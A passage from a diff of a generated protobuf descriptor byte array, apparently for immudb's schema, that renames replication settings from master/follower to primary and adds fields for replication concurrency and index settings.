0x6c, 0x65, 0x42, 0x6f, 0x6f, - 0x6c, 0x52, 0x07, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x12, 0x45, 0x0a, 0x0e, 0x6d, 0x61, - 0x73, 0x74, 0x65, 0x72, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x18, 0x02, 0x20, 0x01, - 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, - 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, - 0x67, 0x52, 0x0e, 0x6d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, - 0x65, 0x12, 0x43, 0x0a, 0x0d, 0x6d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x41, 0x64, 0x64, 0x72, 0x65, - 0x73, 0x73, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, + 0x61, 0x72, 0x79, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x70, + 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, + 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, + 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x48, 0x6f, 0x73, 0x74, 0x12, 0x3f, 0x0a, 0x0b, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, + 0x52, 0x0b, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x47, 0x0a, + 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, + 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, + 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, + 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x55, 0x73, + 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x47, 0x0a, 0x0f, 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, + 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0f, + 0x70, 0x72, 0x69, 0x6d, 0x61, 0x72, 0x79, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, + 0x45, 0x0a, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, + 0x6f, 0x6e, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, - 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x0d, 0x6d, 0x61, 0x73, 0x74, 0x65, 0x72, 0x41, - 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x3d, 0x0a, 0x0a, 0x6d, 0x61, 0x73, 0x74, 0x65, 0x72, - 0x50, 0x6f, 0x72, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, - 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0a, 0x6d, 0x61, 0x73, 0x74, 0x65, - 0x72, 0x50, 0x6f, 0x72, 0x74, 0x12, 0x49, 0x0a, 0x10, 0x66, 0x6f, 0x6c, 0x6c, 0x6f, 0x77, 0x65, - 0x72, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, + 0x6b, 0x73, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, + 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, + 0x73, 0x12, 0x51, 0x0a, 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, + 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, - 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x10, - 0x66, 0x6f, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x72, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, - 0x12, 0x49, 0x0a, 0x10, 0x66, 0x6f, 0x6c, 0x6c, 0x6f, 0x77, 0x65, 0x72, 0x50, 0x61, 0x73, 0x73, - 0x77, 0x6f, 0x72, 0x64, 0x18, 0x06, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, + 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, + 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, + 0x65, 0x6e, 0x63, 0x79, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, - 0x62, 0x6c, 0x65, 0x53, 0x74, 0x72, 0x69, 0x6e, 0x67, 0x52, 0x10, 0x66, 0x6f, 0x6c, 0x6c, 0x6f, - 0x77, 0x65, 0x72, 0x50, 0x61, 0x73, 0x73, 0x77, 0x6f, 0x72, 0x64, 0x12, 0x45, 0x0a, 0x0f, 0x73, - 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x07, - 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, - 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, - 0x6c, 0x52, 0x0f, 0x73, 0x79, 0x6e, 0x63, 0x52, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x12, 0x39, 0x0a, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x18, 0x08, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, + 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, + 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, + 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1b, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, + 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, + 0x6e, 0x67, 0x22, 0xfb, 0x07, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, + 0x61, 0x62, 0x6c, 0x65, 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, + 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, - 0x74, 0x33, 0x32, 0x52, 0x08, 0x73, 0x79, 0x6e, 0x63, 0x41, 0x63, 0x6b, 0x73, 0x12, 0x51, 0x0a, - 0x14, 0x70, 0x72, 0x65, 0x66, 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, - 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, + 0x74, 0x33, 0x32, 0x52, 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, + 0x6f, 0x6c, 0x64, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, + 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, + 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, - 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x14, 0x70, 0x72, 0x65, 0x66, - 0x65, 0x74, 0x63, 0x68, 0x54, 0x78, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, - 0x12, 0x61, 0x0a, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x43, - 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, 0x6e, 0x63, 0x79, - 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x1c, 0x72, 0x65, 0x70, 0x6c, 0x69, 0x63, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x43, 0x6f, 0x6e, 0x63, 0x75, 0x72, 0x72, 0x65, - 0x6e, 0x63, 0x79, 0x12, 0x49, 0x0a, 0x11, 0x41, 0x6c, 0x6c, 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, - 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1b, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x42, 0x6f, 0x6f, 0x6c, 0x52, 0x11, 0x41, 0x6c, 0x6c, - 0x6f, 0x77, 0x54, 0x78, 0x44, 0x69, 0x73, 0x63, 0x61, 0x72, 0x64, 0x69, 0x6e, 0x67, 0x22, 0xfb, - 0x07, 0x0a, 0x15, 0x49, 0x6e, 0x64, 0x65, 0x78, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x45, 0x0a, 0x0e, 0x66, 0x6c, 0x75, 0x73, - 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, + 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, + 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, + 0x53, 0x69, 0x7a, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, + 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, + 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, + 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, + 0x32, 0x52, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, 0x6e, 0x61, 0x70, + 0x73, 0x68, 0x6f, 0x74, 0x73, 0x12, 0x4d, 0x0a, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, + 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, 0x66, 0x74, 0x65, 0x72, 0x18, 0x06, 0x20, 0x01, 0x28, + 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, + 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x36, 0x34, + 0x52, 0x12, 0x72, 0x65, 0x6e, 0x65, 0x77, 0x53, 0x6e, 0x61, 0x70, 0x52, 0x6f, 0x6f, 0x74, 0x41, + 0x66, 0x74, 0x65, 0x72, 0x12, 0x45, 0x0a, 0x0e, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, + 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x18, 0x07, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, + 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, + 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0e, 0x63, 0x6f, 0x6d, + 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x54, 0x68, 0x6c, 0x64, 0x12, 0x53, 0x0a, 0x15, 0x64, + 0x65, 0x6c, 0x61, 0x79, 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, + 0x74, 0x69, 0x6f, 0x6e, 0x18, 0x08, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, + 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x15, 0x64, 0x65, 0x6c, 0x61, 0x79, + 0x44, 0x75, 0x72, 0x69, 0x6e, 0x67, 0x43, 0x6f, 0x6d, 0x70, 0x61, 0x63, 0x74, 0x69, 0x6f, 0x6e, + 0x12, 0x55, 0x0a, 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, + 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, - 0x0e, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, - 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, + 0x16, 0x6e, 0x6f, 0x64, 0x65, 0x73, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, + 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x59, 0x0a, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, + 0x72, 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, + 0x6c, 0x65, 0x73, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, + 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, + 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x18, 0x68, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, + 0x65, 0x73, 0x12, 0x57, 0x0a, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, + 0x61, 0x78, 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x18, 0x0b, 0x20, + 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, + 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, + 0x33, 0x32, 0x52, 0x17, 0x63, 0x6f, 0x6d, 0x6d, 0x69, 0x74, 0x4c, 0x6f, 0x67, 0x4d, 0x61, 0x78, + 0x4f, 0x70, 0x65, 0x6e, 0x65, 0x64, 0x46, 0x69, 0x6c, 0x65, 0x73, 0x12, 0x47, 0x0a, 0x0f, 0x66, + 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x0c, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, + 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, + 0x74, 0x33, 0x32, 0x52, 0x0f, 0x66, 0x6c, 0x75, 0x73, 0x68, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, + 0x53, 0x69, 0x7a, 0x65, 0x12, 0x4a, 0x0a, 0x11, 0x63, 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, + 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1c, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x46, 0x6c, 0x6f, 0x61, 0x74, 0x52, 0x11, 0x63, + 0x6c, 0x65, 0x61, 0x6e, 0x75, 0x70, 0x50, 0x65, 0x72, 0x63, 0x65, 0x6e, 0x74, 0x61, 0x67, 0x65, + 0x22, 0xa3, 0x01, 0x0a, 0x13, 0x41, 0x48, 0x54, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, + 0x53, 0x65, 0x74, 0x74, 0x69, 0x6e, 0x67, 0x73, 0x12, 0x43, 0x0a, 0x0d, 0x73, 0x79, 0x6e, 0x63, + 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x18, 0x01, 0x20, 0x01, 0x28, 0x0b, 0x32, + 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, + 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x47, 0x0a, + 0x0f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x53, 0x69, 0x7a, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0d, 0x73, 0x79, 0x6e, 0x63, 0x54, 0x68, 0x72, 0x65, 0x73, - 0x68, 0x6f, 0x6c, 0x64, 0x12, 0x3b, 0x0a, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, - 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, - 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, - 0x55, 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x09, 0x63, 0x61, 0x63, 0x68, 0x65, 0x53, 0x69, 0x7a, - 0x65, 0x12, 0x3f, 0x0a, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, 0x7a, 0x65, - 0x18, 0x04, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, - 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 0x65, 0x55, - 0x69, 0x6e, 0x74, 0x33, 0x32, 0x52, 0x0b, 0x6d, 0x61, 0x78, 0x4e, 0x6f, 0x64, 0x65, 0x53, 0x69, - 0x7a, 0x65, 0x12, 0x4d, 0x0a, 0x12, 0x6d, 0x61, 0x78, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x53, - 0x6e, 0x61, 0x70, 0x73, 0x68, 0x6f, 0x74, 0x73, 0x18, 0x05, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x1d, - 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x4e, - 0x75, 0x6c, 0x6c, 0x61, 0x62, 0x6c, 